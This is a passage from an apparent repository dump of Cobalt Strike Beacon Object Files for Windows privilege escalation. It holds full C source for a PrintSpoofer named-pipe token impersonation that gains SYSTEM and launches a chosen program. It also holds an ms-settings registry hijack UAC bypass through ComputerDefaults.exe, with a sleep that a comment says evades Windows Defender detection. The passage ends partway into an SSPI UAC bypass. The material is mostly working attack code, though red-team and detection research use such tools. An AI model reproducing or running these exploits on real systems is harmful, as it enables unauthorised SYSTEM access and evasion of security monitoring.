0, user);\n        return FALSE;\n    }\n\n    Size = sizeof(SECURITY_IMPERSONATION_LEVEL);\n    ADVAPI32$GetTokenInformation(hToken, TokenImpersonationLevel, &ImpersonationLevel, sizeof(SECURITY_IMPERSONATION_LEVEL), &Size);\n\n    switch (ImpersonationLevel)\n    {\n    case SecurityAnonymous:\n        impersonationLevelstr = (wchar_t*)L\"Anonymous\"; break;\n    case SecurityIdentification:\n        impersonationLevelstr = (wchar_t*)L\"Identification\"; break;\n    case SecurityImpersonation:\n        impersonationLevelstr = (wchar_t*)L\"Impersonation\"; break;\n    case SecurityDelegation:\n        impersonationLevelstr = (wchar_t*)L\"Delegation\"; break;\n    }\n\n    if (!MSVCRT$wcscmp(sid_name, L\"S-1-5-18\") && ImpersonationLevel >= SecurityImpersonation)\n    {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Obtained SYSTEM (%ls) token with impersonation level: %S\\n\", sid_name, impersonationLevelstr);\n        isSystem = TRUE;\n    }\n    else\n    {\n        BeaconPrintf(CALLBACK_OUTPUT, \"[+] Obtained (%ls) token with impersonation level: %S\\n\", sid_name, impersonationLevelstr);\n        isSystem = FALSE;\n    }\n\n    // Cleanup\n    KERNEL32$LocalFree(sid_name);\n    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, user);\n\n    return isSystem;\n}\n\n// Create Named Pipe\nHANDLE CreateNamedPipeA_Custom(LPCSTR lpName)\n{\n    HANDLE hPipe = KERNEL32$CreateNamedPipeA(\n        lpName,\n        PIPE_ACCESS_DUPLEX,\n        PIPE_TYPE_BYTE | PIPE_WAIT,\n        10,\n        2048,\n        2048,\n        0,\n        NULL\n    );\n\n    if (hPipe == INVALID_HANDLE_VALUE)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] CreateNamedPipe failed. Error: %d\\n\", KERNEL32$GetLastError());\n        return INVALID_HANDLE_VALUE;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Named Pipe created: %s\\n\", lpName);\n    return hPipe;\n}\n\n// Trigger Print Spooler connection\nBOOL TriggerNamedPipeConnection(LPCSTR lpName)\n{\n    DWORD maxPathBytes = 260 * sizeof(WCHAR);\n    WCHAR* lpPrinterName = (WCHAR*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, maxPathBytes);\n    WCHAR* lpPortName = (WCHAR*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, maxPathBytes);\n    BYTE* output = NULL;\n\n    if (!lpPrinterName || !lpPortName)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Memory allocation failed\\n\");\n        if (lpPrinterName) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpPrinterName);\n        if (lpPortName) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpPortName);\n        return FALSE;\n    }\n    // Convert pipe name to wide string\n    int len = MSVCRT$strlen(lpName);\n    // Manual conversion from ANSI to WIDE\n    for (int i = 0; i < len && i < 259; i++)\n        lpPrinterName[i] = (WCHAR)lpName[i];\n    lpPrinterName[len] = L'\\0';\n\n    // Copy to port name\n    for (int i = 0; i <= len; i++)\n        lpPortName[i] = lpPrinterName[i];\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Triggering named pipe connection via Print Spooler...\\n\");\n\n    // Try to add a printer port - this will cause Print Spooler to connect\n    HANDLE hPrinter = NULL;\n    PRINTER_DEFAULTS pd;\n    pd.pDatatype = NULL;\n    pd.pDevMode = NULL;\n    pd.DesiredAccess = SERVER_ACCESS_ADMINISTER;\n\n    BOOL success = FALSE;\n\n    if (pOpenPrinterW(L\",XcvMonitor Local Port\", &hPrinter, &pd))\n    {\n        DWORD dwNeeded = 0, dwStatus = 0;\n        DWORD outputSize = 4096;\n        output = (BYTE*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, outputSize);\n\n        if (!output)\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Output buffer allocation failed\\n\");\n            pClosePrinter(hPrinter);\n            KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpPrinterName);\n            KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpPortName);\n            return FALSE;\n        }\n\n        // Add port using XcvData\n        DWORD result = pXcvDataW(\n            hPrinter,\n            L\"AddPort\",\n            (PBYTE)lpPortName,\n            (MSVCRT$wcslen(lpPortName) + 1) * sizeof(WCHAR),\n            output,\n            outputSize,\n            &dwNeeded,\n            &dwStatus\n        );\n\n        pClosePrinter(hPrinter);\n\n        if (result == ERROR_SUCCESS || dwStatus == ERROR_SUCCESS)\n        {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Triggered Print Spooler connection\\n\");\n            success = TRUE;\n        }\n        else\n        {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[*] XcvDataW returned: %d, status: %d (This is often expected)\\n\", result, dwStatus);\n            // Even if this fails, the connection might have been triggered\n            success = TRUE;\n        }\n\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, output);\n    }\n    else\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] OpenPrinter failed. Error: %d\\n\", KERNEL32$GetLastError());\n        success = FALSE;\n    }\n\n    // Cleanup\n    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpPrinterName);\n    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, lpPortName);\n\n    return success;\n}\n\n// Wait for connection and impersonate\nBOOL WaitForConnection(HANDLE hPipe, DWORD timeout)\n{\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Waiting for connection (timeout: %d ms)...\\n\", timeout);\n\n    OVERLAPPED* pOverlapped = (OVERLAPPED*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(OVERLAPPED));\n    if (!pOverlapped)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Memory allocation failed\\n\");\n        return FALSE;\n    }\n\n    pOverlapped->hEvent = KERNEL32$CreateEventA(NULL, TRUE, FALSE, NULL);\n\n    if (pOverlapped->hEvent == NULL)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] CreateEvent failed. Error: %d\\n\", KERNEL32$GetLastError());\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pOverlapped);\n        return FALSE;\n    }\n\n    BOOL result = KERNEL32$ConnectNamedPipe(hPipe, pOverlapped);\n    DWORD dwError = KERNEL32$GetLastError();\n\n    if (!result)\n    {\n        if (dwError == ERROR_IO_PENDING)\n        {\n            DWORD dwWait = KERNEL32$WaitForSingleObject(pOverlapped->hEvent, timeout);\n            if (dwWait == WAIT_TIMEOUT)\n            {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] Timeout waiting for connection\\n\");\n                KERNEL32$CloseHandle(pOverlapped->hEvent);\n                KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pOverlapped);\n                return FALSE;\n            }\n            else if (dwWait == WAIT_OBJECT_0)\n            {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] Client connected!\\n\");\n            }\n            else\n            {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] WaitForSingleObject failed. Error: %d\\n\", KERNEL32$GetLastError());\n                KERNEL32$CloseHandle(pOverlapped->hEvent);\n                KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pOverlapped);\n                return FALSE;\n            }\n        }\n        else if (dwError == ERROR_PIPE_CONNECTED)\n        {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Client already connected!\\n\");\n        }\n        else\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] ConnectNamedPipe failed. Error: %d\\n\", dwError);\n            KERNEL32$CloseHandle(pOverlapped->hEvent);\n            KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pOverlapped);\n            return FALSE;\n        }\n    }\n\n    KERNEL32$CloseHandle(pOverlapped->hEvent);\n    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pOverlapped);\n    return TRUE;\n}\n\n#ifdef BOF\nvoid go(char* args, int len)\n{\n    datap parser;\n    int use_token = 0;\n    LPWSTR run_program = NULL;\n\n    BeaconDataParse(&parser, args, len);\n    use_token = BeaconDataInt(&parser);\n    run_program = (LPWSTR)BeaconDataExtract(&parser, NULL);\n\n    if ((use_token && run_program[0] != L'\\0') || (!use_token && run_program[0] == L'\\0'))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Use only --token or --run\\n\");\n        return;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] PrintSpoofer - Local Privilege Escalation\\n\");\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Technique: Named Pipe Impersonation via Print Spooler\\n\\n\");\n    // Load WINSPOOL functions dynamically\n    if (!LoadWinspoolFunctions())\n    {\n        return;\n    }\n\n    // Generate random pipe name\n    DWORD pipeNameSize = 260;\n    CHAR* pipeName = (CHAR*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, pipeNameSize);\n    if (!pipeName)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Memory allocation failed\\n\");\n        return;\n    }\n\n    DWORD randomValue;\n    ADVAPI32$SystemFunction036(&randomValue, sizeof(randomValue));  // RtlGenRandom\n    MSVCRT$sprintf(pipeName, \"\\\\\\\\.\\\\pipe\\\\printspoof%08x\", randomValue);\n\n    // Create Named Pipe\n    HANDLE hPipe = CreateNamedPipeA_Custom(pipeName);\n    if (hPipe == INVALID_HANDLE_VALUE)\n    {\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pipeName);\n        return;\n    }\n\n    // Trigger Print Spooler connection\n    if (!TriggerNamedPipeConnection(pipeName))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to trigger connection\\n\");\n        KERNEL32$CloseHandle(hPipe);\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pipeName);\n        return;\n    }\n\n    // Wait for connection (5 seconds timeout)\n    if (!WaitForConnection(hPipe, 5000))\n    {\n        KERNEL32$CloseHandle(hPipe);\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pipeName);\n        return;\n    }\n\n    // Impersonate the connected client\n    BeaconPrintf(CALLBACK_OUTPUT, \"[*] Attempting to impersonate client...\\n\");\n    if (!ADVAPI32$ImpersonateNamedPipeClient(hPipe))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] ImpersonateNamedPipeClient failed. Error: %d\\n\", KERNEL32$GetLastError());\n        KERNEL32$CloseHandle(hPipe);\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pipeName);\n        return;\n    }\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"[+] Impersonation successful!\\n\");\n\n    // Get current thread token\n    HANDLE hToken = NULL;\n    if (!ADVAPI32$OpenThreadToken(KERNEL32$GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] OpenThreadToken failed. Error: %d\\n\", KERNEL32$GetLastError());\n        ADVAPI32$RevertToSelf();\n        KERNEL32$CloseHandle(hPipe);\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pipeName);\n        return;\n    }\n\n    // Check if it's a SYSTEM token\n    BOOL isSystem = IsTokenSystem(hToken);\n\n    if (!isSystem)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] Failed to obtain SYSTEM token\\n\");\n        KERNEL32$CloseHandle(hToken);\n        ADVAPI32$RevertToSelf();\n        KERNEL32$CloseHandle(hPipe);\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pipeName);\n        return;\n    }\n\n    // Duplicate token to primary\n    HANDLE hPrimaryToken = NULL;\n    if (!ADVAPI32$DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hPrimaryToken))\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"[-] DuplicateTokenEx failed. Error: %d\\n\", KERNEL32$GetLastError());\n        KERNEL32$CloseHandle(hToken);\n        ADVAPI32$RevertToSelf();\n        KERNEL32$CloseHandle(hPipe);\n        KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pipeName);\n        return;\n    }\n\n    if (use_token)\n    {\n        // Apply token to current thread\n        if (!ADVAPI32$SetThreadToken(NULL, hToken))\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] SetThreadToken failed. Error: %d\\n\", KERNEL32$GetLastError());\n        }\n        else\n        {\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] SYSTEM token applied to current thread!\\n\");\n            BeaconPrintf(CALLBACK_OUTPUT, \"[+] Impersonate to SYSTEM succeeded\\n\");\n        }\n    }\n    else\n    {\n        // Run program with SYSTEM token\n        BeaconPrintf(CALLBACK_OUTPUT, \"[*] Starting process: %ls\\n\", run_program);\n\n        STARTUPINFOW* pSi = (STARTUPINFOW*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(STARTUPINFOW));\n        PROCESS_INFORMATION* pPi = (PROCESS_INFORMATION*)KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(PROCESS_INFORMATION));\n\n        if (!pSi || !pPi)\n        {\n            BeaconPrintf(CALLBACK_ERROR, \"[-] Memory allocation failed\\n\");\n            if (pSi) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pSi);\n            if (pPi) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pPi);\n        }\n        else\n        {\n            pSi->cb = sizeof(STARTUPINFOW);\n\n            if (!ADVAPI32$CreateProcessWithTokenW(\n                hPrimaryToken,\n                LOGON_WITH_PROFILE,\n                NULL,\n                run_program,\n                0,\n                NULL,\n                NULL,\n                pSi,\n                pPi))\n            {\n                BeaconPrintf(CALLBACK_ERROR, \"[-] CreateProcessWithTokenW failed. Error: %d\\n\", KERNEL32$GetLastError());\n            }\n            else\n            {\n                BeaconPrintf(CALLBACK_OUTPUT, \"[+] Process created with PID: %d\\n\", pPi->dwProcessId);\n                KERNEL32$CloseHandle(pPi->hProcess);\n                KERNEL32$CloseHandle(pPi->hThread);\n            }\n\n            KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pSi);\n            KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pPi);\n        }\n    }\n\n    // Cleanup\n    KERNEL32$CloseHandle(hPrimaryToken);\n    KERNEL32$CloseHandle(hToken);\n    if (!use_token)\n    {\n        ADVAPI32$RevertToSelf();\n    }\n    KERNEL32$CloseHandle(hPipe);\n    KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, pipeName);\n\n    BeaconPrintf(CALLBACK_OUTPUT, \"\\n[*] PrintSpoofer completed\\n\");\n}\n#endif\n"
  },
  {
    "path": "Elevation-BOF/uac_regshellcmd/RegistryShellCommandBOF.c",
    "content": "// x86_64-w64-mingw32-gcc -c RegistryShellCommandBOF.c -w -o /share/test.o\n// .\\COFFLoader64.exe go .\\test.o 2f0000002b000000433a5c55736572735c72616e64795c4465736b746f705c746573745c6d657373616765626f782e65786500\n#include <windows.h>\n#include <stdio.h>\n#include <shlwapi.h>\n#include \"beacon.h\"\n\n// define required winapi functions\nDECLSPEC_IMPORT WINBASEAPI VOID WINAPI KERNEL32$Sleep(DWORD dwMilliseconds);\nDECLSPEC_IMPORT WINBASEAPI BOOL WINAPI SHLWAPI$PathFileExistsA(LPCSTR pszPath);\nDECLSPEC_IMPORT WINBASEAPI wchar_t WINAPI MSVCRT$wcscat(wchar_t * destination, const wchar_t * source);\nDECLSPEC_IMPORT WINBASEAPI LPSTR WINAPI MSVCRT$strcat(char *strDestination, const char *strSource);\nDECLSPEC_IMPORT WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void);\nDECLSPEC_IMPORT WINBASEAPI char * __cdecl MSVCRT$strcpy(char * __restrict__ __dst, const char * __restrict__ __src);\nDECLSPEC_IMPORT WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);\nDECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegCloseKey(HKEY hKey);\nDECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyA(HKEY hKey,LPCSTR lpSubKey,PHKEY phkResult);\nDECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegCreateKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD Reserved,LPSTR lpClass,DWORD dwOptions,REGSAM samDesired,LPSECURITY_ATTRIBUTES lpSecurityAttributes,PHKEY phkResult,LPDWORD lpdwDisposition);\nDECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegDeleteTreeA(HKEY base, LPCSTR subkey);\nDECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegSaveKeyExA(HKEY hKey,LPCSTR lpFile,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD Flags);\nDECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegSetValueExA(HKEY hKey,LPCSTR lpValueName,DWORD Reserved,DWORD dwType,CONST BYTE *lpData,DWORD cbData);\nDECLSPEC_IMPORT WINADVAPI LONG WINAPI ADVAPI32$RegOpenKeyExA(HKEY hKey,LPCSTR lpSubKey,DWORD ulOptions,REGSAM samDesired,PHKEY phkResult);\nDECLSPEC_IMPORT WINBASEAPI WINBOOL WINAPI SHELL32$ShellExecuteExA(SHELLEXECUTEINFOA *pExecInfo);\n\nint go(char * args, unsigned long length) {\n    // get arguments\n    datap parser;\n    BeaconDataParse(&parser, args, length);\n    unsigned char * cmdPath = BeaconDataExtract(&parser, NULL);\n\n    char tempPath[MAX_PATH] = {0};\n    MSVCRT$strcpy(tempPath, cmdPath);\n\n    if(!SHLWAPI$PathFileExistsA(tempPath)){\n        BeaconPrintf(CALLBACK_ERROR, \"The target executable does not exist on host!\\n\");\n        return 1;\n    }\n\n    // Create command reg key and/or open handle to it\n    HKEY commandKey;\n    LSTATUS regStatus = ADVAPI32$RegCreateKeyA(HKEY_CURRENT_USER, \"Software\\\\Classes\\\\ms-settings\\\\Shell\\\\Open\\\\command\", &commandKey);\n    if (regStatus != 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"Error creating command registry key!: %d\\n\", regStatus);\n        return 1;\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Successfully created registry key: HKCU:Software\\\\Classes\\\\ms-settings\\\\Shell\\\\Open\\\\command\\n\");\n    }\n\n    // set command reg key to supplied exe on disk\n    regStatus = ADVAPI32$RegSetValueExA(commandKey, \"\", 0, REG_SZ, tempPath, MSVCRT$strlen(tempPath));\n    if (regStatus != 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"Error setting command registry key!: %d\\n\", regStatus);\n        return 1;\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Successfully set command registry value\\n\");\n    }\n\n    // set DelegateExecute reg key to blank value\n    regStatus = ADVAPI32$RegSetValueExA(commandKey, \"DelegateExecute\", 0, REG_SZ, \"\", 0);\n    if (regStatus != 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"Error setting DelegateExecute registry key!: %d\\n\", regStatus);\n        return 1;\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Successfully set DelegateExecute registry value\\n\");\n    }\n\n    ADVAPI32$RegCloseKey(commandKey);\n\n    // Sleep for 10 seconds before executing autoelevated exe to bypass Windows Defender behavioral detection: Behavior:Win32/UACBypassExp.T!proc\n    KERNEL32$Sleep(10000);\n\n    // Set variables for SHELLEXECUTEINFO object to execute fodhelper.exe or ComputerDefaults.exe\n    SHELLEXECUTEINFOA exInfo;\n    exInfo.lpVerb       = \"open\";\n    exInfo.lpFile       = \"C:\\\\Windows\\\\System32\\\\ComputerDefaults.exe\";\n    exInfo.nShow        = 0;\n    exInfo.fMask        = SEE_MASK_NOCLOSEPROCESS;\n    exInfo.cbSize       = sizeof(SHELLEXECUTEINFO);\n    exInfo.hwnd         = 0;\n    exInfo.lpParameters = 0;\n    exInfo.lpDirectory  = 0;\n    exInfo.hInstApp     = 0;\n\n    // Execute the autoelevated exe\n    BOOL shRet = SHELL32$ShellExecuteExA(&exInfo);\n    if (shRet == FALSE) {\n        BeaconPrintf(CALLBACK_ERROR, \"Error using ShellExecuteEx!\\n\");\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Autoelevated EXE was successfully executed using ShellExecuteEx!\\n\");\n    }\n\n    // Sleep for 2 seconds to make sure registry has been updated\n    KERNEL32$Sleep(2000);\n\n    // Open handle to \"HKCU:Software\\Classes\" registry key\n    HKEY fullRegKey;\n    if (ADVAPI32$RegOpenKeyExA(HKEY_CURRENT_USER, \"Software\\\\Classes\", 0, KEY_READ | KEY_WRITE | DELETE, &fullRegKey) != ERROR_SUCCESS) {\n        BeaconPrintf(CALLBACK_ERROR, \"Error opening Software key!\\n\");\n        return 1;\n    }\n\n    // Delete added registry key and all it's sub keys\n    regStatus = ADVAPI32$RegDeleteTreeA(fullRegKey, \"ms-settings\");\n    if (regStatus != 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"Error deleting command registry key!: %d\\n\", regStatus);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"Successfully deleted registry key: HKCU:Software\\\\Classes\\\\ms-settings\\\\Shell\\\\Open\\\\command\\n\");\n    }\n\n    ADVAPI32$RegCloseKey(fullRegKey);\n\n    return 0;\n}"
  },
  {
    "path": "Elevation-BOF/uac_sspi/SspiUacBypassBOF.cpp",
    "content": "// x86_64-w64-mingw32-g++ -c SspiUacBypassBOF.cpp -w -o SspiUacBypassBOF.o\n#define SECURITY_WIN32\n\n#include <windows.h>\n#include <stdio.h>\n#include <security.h>\n\nextern \"C\" {\n\n#include \"beacon.h\"\n\n    void go(char * args, unsigned long length);\n\n    // for SspiUacBypass\n    DECLSPEC_IMPORT     HRESULT  WINAPI     OLE32$CoSetProxyBlanket(IUnknown* pProxy, DWORD dwAuthnSvc, DWORD dwAuthzSvc, OLECHAR* pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel, RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities);\n    DECLSPEC_IMPORT     WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\n    DECLSPEC_IMPORT     WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();\n    DECLSPEC_IMPORT     WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str);\n    DECLSPEC_IMPORT     WINBASEAPI int __cdecl MSVCRT$printf(const char * __restrict__ _Format,...);\n    DECLSPEC_IMPORT     WINBASEAPI DWORD WINAPI SECUR32$AcquireCredentialsHandleA(LPSTR, LPSTR, unsigned long, void*, void*, SEC_GET_KEY_FN, void *, PCredHandle, PTimeStamp);\n    DECLSPEC_IMPORT     WINBASEAPI DWORD WINAPI SECUR32$InitializeSecurityContextA(PCredHandle, PCtxtHandle, SEC_CHAR*, unsigned long, unsigned long, unsigned long, PSecBufferDesc, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long *, PTimeStamp);\n    DECLSPEC_IMPORT     WINBASEAPI void * WINAPI KERNEL32$HeapAlloc(HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes);\n    DECLSPEC_IMPORT     WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap();\n    DECLSPEC_IMPORT     WINBASEAPI DWORD WINAPI SECUR32$AcceptSecurityContext(PCredHandle, PCtxtHandle, PSecBufferDesc, unsigned long, unsigned long, PCtxtHandle, PSecBufferDesc, unsigned long *, PTimeStamp);\n    DECLSPEC_IMPORT     KSECDDDECLSPEC SECURITY_STATUS SEC_ENTRY SECUR32$QuerySecurityContextToken(PCtxtHandle phContext, void **Token);\n    DECLSPEC_IMPORT     WINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID);\n    DECLSPEC_IMPORT     WINBASEAPI SECURITY_STATUS WINAPI SECUR32$FreeCredentialsHandle(PCredHandle phCredential);\n    DECLSPEC_IMPORT     WINBASEAPI SECURITY_STATUS WINAPI SECUR32$DeleteSecurityContext(PCtxtHandle phContext);\n    DECLSPEC_IMPORT     WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);\n    DECLSPEC_IMPORT     WINBASEAPI DWORD WINAPI KERNEL32$GetLastError(void);\n    DECLSPEC_IMPORT     BOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE);\n    DECLSPEC_IMPORT     WINADVAPI WINBOOL WINAPI ADVAPI32$OpenThreadToken(HANDLE ThreadHandle, DWORD DesiredAccess, BOOL OpenAsSelf, PHANDLE TokenHandle);\n    DECLSPEC_IMPORT     WINADVAPI WINBOOL WINAPI ADVAPI32$RevertToSelf();\n    DECLSPEC_IMPORT     WINBASEAPI HANDLE WINAPI KERNEL32$GetCurrentThread(VOID);\n    DECLSPEC_IMPORT     WINADVAPI BOOL WINAPI ADVAPI32$GetTokenInformation(HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength);\n    DECLSPEC_IMPORT     WINBASEAPI WINBOOL WINAPI KERNEL32$CloseHandle(HANDLE hObject);\n\n    // for CreateSvcRpc\n    DECLSPEC_IMPORT     WINBASEAPI void __cdecl MSVCRT$free(void *_Memory);\n    DECLSPEC_IMPORT     WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *_Str);\n    DECLSPEC_IMPORT     WINBASEAPI void *__cdecl MSVCRT$memcpy(void * __restrict__ _Dst,const void * __restrict__ _Src,size_t _MaxCount);\n    DECLSPEC_IMPORT     WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count);\n    DECLSPEC_IMPORT     BOOL WINAPI KERNEL32$WriteFile(HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped);\n    DECLSPEC_IMPORT     WINBASEAPI WINBOOL WINAPI KERNEL32$ReadFile(HANDLE hFile, LPVOID lpBuffer, DWORD nNumberOfBytesToRead, LPDWORD lpNumberOfBytesRead, LPOVERLAPPED lpOverlapped);\n    DECLSPEC_IMPORT     HANDLE WINAPI KERNEL32$CreateFileA(LPCSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile);\n    DECLSPEC_IMPORT     WINBASEAPI int __cdecl MSVCRT$_snprintf(char *buffer, size_t count, const char *format, ...);\n    DECLSPEC_IMPORT     WINBASEAPI void *__cdecl MSVCRT$malloc(size_t size);\n    DECLSPEC_IMPORT     WINBASEAPI DWORD WINAPI KERNEL32$GetTickCount(VOID);\n\n}\n\n// rpc command ids\n#define RPC_CMD_ID_OPEN_SC_MANAGER 27\n#define RPC_CMD_ID_CREATE_SERVICE 24\n#define RPC_CMD_ID_START_SERVICE 31\n#define RPC_CMD_ID_DELETE_SERVICE 2\n\n// rpc command output lengths\n#define RPC_OUTPUT_LENGTH_OPEN_SC_MANAGER 24\n#define RPC_OUTPUT_LENGTH_CREATE_SERVICE 28\n#define RPC_OUTPUT_LENGTH_START_SERVICE 4\n#define RPC_OUTPUT_LENGTH_DELETE_SERVICE 4\n\n#define MAX_RPC_PACKET_LENGTH 4096\n#define MAX_PROCEDURE_DATA_LENGTH 2048\n\n#define CALC_ALIGN_PADDING(VALUE_LENGTH, ALIGN_BYTES) ((((VALUE_LENGTH + ALIGN_BYTES - 1) / ALIGN_BYTES) * ALIGN_BYTES) - VALUE_LENGTH)\n\nstruct RpcBaseHeaderStruct\n{\n    WORD wVersion;\n    BYTE bPacketType;\n    BYTE bPacketFlags;\n    DWORD dwDataRepresentation;\n    WORD wFragLength;\n    WORD wAuthLength;\n    DWORD dwCallIndex;\n};\n\nstruct RpcRequestHeaderStruct\n{\n    DWORD dwAllocHint;\n    WORD wContextID;\n    WORD wProcedureNumber;\n};\n\nstruct RpcResponseHeaderStruct\n{\n    DWORD dwAllocHint;\n    WORD wContextID;\n    BYTE bCancelCount;\n    BYTE bAlign[1];\n};\n\nstruct RpcBindRequestContextEntryStruct\n{\n    WORD wContextID;\n    WORD wTransItemCount;\n    BYTE bInterfaceUUID[16];\n    DWORD dwInterfaceVersion;\n    BYTE bTransferSyntaxUUID[16];\n    DWORD dwTransferSyntaxVersion;\n};\n\nstruct RpcBindRequestHeaderStruct\n{\n    WORD wMaxSendFrag;\n    WORD wMaxRecvFrag;\n    DWORD dwAssocGroup;\n    BYTE bContextCount;\n    BYTE bAlign[3];\n\n    RpcBindRequestContextEntryStruct Context;\n};\n\nstruct RpcBindResponseContextEntryStruct\n{\n    WORD wResult;\n    WORD wAlign;\n    BYTE bTransferSyntax[16];\n    DWORD dwTransferSyntaxVersion;\n};\n\nstruct RpcBindResponseHeader1Struct\n{\n    WORD wMaxSendFrag;\n    WORD wMaxRecvFrag;\n    DWORD dwAssocGroup;\n};\n\nstruct RpcBindResponseHeader2Struct\n{\n    DWORD dwContextResultCount;\n    RpcBindResponseContextEntryStruct Context;\n};\n\nstruct 